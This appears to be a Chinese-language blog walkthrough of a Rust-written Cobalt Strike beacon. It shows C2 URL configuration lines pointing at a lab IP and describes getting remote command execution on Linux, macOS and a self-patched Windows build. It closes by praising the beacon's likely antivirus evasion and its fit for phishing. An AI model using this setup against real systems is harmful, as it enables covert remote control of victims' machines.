github 看到大佬 star 了一个rust项目cobaltstrike-beacon-rust,该项目是直接使用 rust 编写了 cs 的 beacon。

获取 C2 信息

这里为了方便直接使用默认的 cs 进行测试,如果使用自己修改过的 cs 可根据相关资料或者配置文件获得基本的 CS信息。
image.png
作者这里已经在generate_config.py文件种写好了默认的信息,只需要将BEACON_KEYS_PATH设置一下就好,默认在 cs 目录下。
image.png

Linux

直接使用作者脚本内的默认信息,将 ip 修改成 cs 的就好

1
2
3
4
C2_GET_URL = "http://192.168.1.106:8080/fwlink"
C2_POST_URL = "http://192.168.1.106:8080/submit.php?id="
USER_AGENT = "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser)"
BEACON_KEYS_PATH = ".cobaltstrike.beacon_keys"

运行直接上线,不用再借助插件之类的
image.png
尝试执行命令,成功返回
image.png
运行会看到详细信息。
image.png

Mac

重复上面操作,直接运行,mac 直接上线
image.png

和 linux一样只有执行命令的功能
image.png

Windows

这里在 win10 上运行测试失败,报错如下
image.png
查看一下代码,作者目前只是对Linux 和 Unix 情况做了判断,对 Windows 还没有
image.png

这边我自己对代码进行了修改,实现 Windows 上线的功能,至此全平台上线实现。
image.png
由于是虚拟机内网 ip 获取还有些问题,有待改进。
image.png
修改后的项目地址:

已经提交 PR 等待作者合并。

总结

该项目研究意义还是很大的,继续完善可以实现全平台的直接上线,而且是直接使用 rust 编写的对于免杀效果应该也是非常好的。
对于钓鱼场景还是可以考虑使用,就是 mac 可能麻烦点应该还是得制作 DMG、PKG等安装包。